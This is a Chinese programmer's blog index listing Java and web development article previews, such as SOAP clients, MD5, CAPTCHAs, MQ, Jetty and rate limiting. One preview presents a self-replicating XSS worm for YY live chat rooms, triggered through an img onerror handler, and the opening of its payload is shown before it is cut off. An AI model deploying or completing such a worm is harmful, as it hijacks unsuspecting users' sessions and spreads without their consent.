code thinking
yunchow
正在研究嵌入式开发,有这方面爱好的朋友请加我QQ:274781962
展开
专栏收录文章
- 默认排序
- 最新发布
- 最早发布
- 最多阅读
- 最少阅读
-
HttpUrlConnection 发送 SOAP 请求,SAX 解析 SOAP 响应
HttpUrlConnection 发送 SOAP 请求,SAX 解析 SOAP 响应 并附上抓包工具:wireshark [code="java"] /* * Socket远程调用Web服务实现,并用SAX解析XML文件,适用于性能要求较高场合 */ package com.mypack.soap.client; import java.io.BufferedR...2010-08-19 23:38:19 · 626 阅读 · 1 评论 -
在报表中格式化货币
最近在用FineReport这个工具进行系统的报表开发,发现在导出报表时要求按币别和精度要求动态的格式化金额显示,工具本身不支持这项功能,最后经过研究发现了通过条件属性加上自定义函数的方式可以完美解决该问题,代码如下: [code="java"] package com.xxx.report.function; import java.math.BigDecimal; import...2010-11-25 10:01:24 · 202 阅读 · 0 评论 -
采用MD5单向加密
[code="java"] public static String getMd5(String src) throws Exception { Assert.notNull(src, "src must not be null."); MessageDigest md5 = MessageDigest.getInstance("MD5"); byte[] targe...2010-11-26 10:42:45 · 241 阅读 · 0 评论 -
实现动态验证码
[code="java"] import java.awt.Color; import java.awt.Font; import java.awt.Graphics; import java.awt.image.BufferedImage; import java.io.IOException; import java.util.Random; import javax.s...2011-07-08 13:10:11 · 190 阅读 · 0 评论 -
java操作MQ
[code="java"] package mq; import java.io.IOException; import com.ibm.mq.MQC; import com.ibm.mq.MQEnvironment; import com.ibm.mq.MQException; import com.ibm.mq.MQGetMessageOptions; impor...2011-12-30 14:21:33 · 333 阅读 · 0 评论 -
Apache Http Server Rewrite
apache的rewrite功能很强大,详细参考:http://lamp.linux.gov.cn/Apache/ApacheMenu/rewrite/index.html 用法如下步骤: 1,加载Rewrite模块 LoadModule rewrite_module modules/mod_rewrite.so 2,打开引擎 RewriteEngine on 3,编写重写...2012-06-04 13:13:30 · 224 阅读 · 0 评论 -
找出序列中不重复的元素
阿里的一个面试题: 一个序列里除了一个元素,其他元素都会重复出现3次,设计一个时间复杂度与空间复杂度最低的算法,找出这个不重复的元素。 实现如下: [code="java"] package bitmap; import java.util.BitSet; public class BitMapMain { static int[] list = {2, 3...2014-09-17 21:51:20 · 401 阅读 · 0 评论 -
YY直播厅蠕虫病毒代码
本来是可以直接通过<script>标签实现的,但是昨天被YY官方给屏蔽了。 下面的代码是通过img标签的onerror事件进行触发。所有看到这条消息的在线用户会被自动感染,并继续感染其他用户,因为这段代码有自我复制能力。. <img height="0" width="0" src="xx" onerror='t=this;function fn(){n = $("...2014-09-22 21:52:44 · 646 阅读 · 1 评论 -
面向对象程序设计思想(精华)
面向对象语言具有封装,继承,多态的特征。那么在用面象对象语言进行程序设计的时候,我们应该要注意些什么,遵守哪些原则呢。 我们都知道在面向对象世界中拥有5大关系,6大原则,23种设计模式。那么他们是什么关系,到底有什么用呢。 我们定义类来封装对象,应该尽量的保证类职责的单一性,从而提高他的灵活性,重用性,扩展性和维护性。如果类职责R因为某种原因(比如说新需求)变成两个职责R1、R2,这时就...2014-11-12 15:52:50 · 492 阅读 · 0 评论 -
Struts + JSP导出Excel报表
据我所知 Java 导 Excel 报表有三种方法: 1, 在 Servlet 直接向客户端输出制表符,如下: [code="java"] PrintWriter out = response.getWriter(); out.println("xxxx\t"); out.flush(); out.close(); [/code] 这种方法最原始, 编起来最...2010-11-07 20:21:56 · 255 阅读 · 0 评论 -
Java正则实现EL表达式
[code="java"] public static void main(String[] args) { Map map = new HashMap(2); map.put("name", "Jame Gosling"); map.put("alias", "Rod Johnson"); String line = "${name} did a gr.2010-11-04 16:19:03 · 826 阅读 · 0 评论 -
js格式化货币格式
[code="javascript"] String.prototype.asCurrency = function() { var f1 = this; var f2 = (Math.round((f1-0) * 100)) / 100; f2 = Math.floor(f2) == f2 ? f2 + ".00" : (Math.floor(f2 * 10) == f2 ...2010-11-01 13:41:34 · 247 阅读 · 0 评论 -
socket 发送 soap 请求
[code="java"]package com.mypack.soap.client; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream...2010-08-19 23:46:19 · 517 阅读 · 0 评论 -
NIO SAX
NIO与SAX 直接上教程2010-08-20 18:51:17 · 133 阅读 · 0 评论 -
利用 Spring 中的 Resource 读取文件和网络资源
利用 Spring 中的 Resource 读取文件和网络资源 [code="java"] package com.isoftstone.spring.beans; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.ut...2010-08-21 12:04:10 · 508 阅读 · 0 评论 -
SAX 解析 XML 实例
xml文件: [code="xml"] Kyte male engineer Charry female manager [/code] JavaBean类: [code="java"] package com.mypack.sax; import java.io.Serializable; ...2010-08-21 14:32:49 · 124 阅读 · 0 评论 -
TreeSet<T> 简单实现
[code="java"] package com.mypack.ds; import java.util.Random; public class TreeSet { /** * @param args */ public static void main(String[] args) { /...2010-08-26 17:31:15 · 400 阅读 · 0 评论 -
简单统计代码行数
真的很多,我刚写了个程序统计了一下,我们项目才695个类 并符上测试程序,请各位指点 --> [code="java"] import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.InputStreamReader; /** ...原创 2010-12-30 17:34:32 · 245 阅读 · 0 评论 -
java 项目中嵌入 jetty,并发布servlet
[code="java"] package com.utan.tfs.jetty; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequ...2010-10-13 11:47:30 · 305 阅读 · 0 评论 -
Hessian 发布服务及客户端实现
服务接口: [code="java"]package com.test; public interface TFSFacade { String sayHello(String username); }[/code] 业务实现: [code="java"]package com.test; public class TFSFacadeImpl impl...2010-10-19 13:36:16 · 281 阅读 · 0 评论 -
滑动窗口计数java实现
滑动窗口计数有很多使用场景,比如说限流防止系统雪崩。相比计数实现,滑动窗口实现会更加平滑,能自动消除毛刺。 概念上可以参考TCP的滑窗算法,可以看一下这篇文章(http://go12345.iteye.com/blog/1744728)。在实现上,滑动窗口算法需要循环队列和线程安全保障。 下面的实现有几个点 1, 支持滑窗大小运行时动态调整 2, 基于 java8 编译器 ...2016-02-20 13:13:36 · 1535 阅读 · 0 评论
分享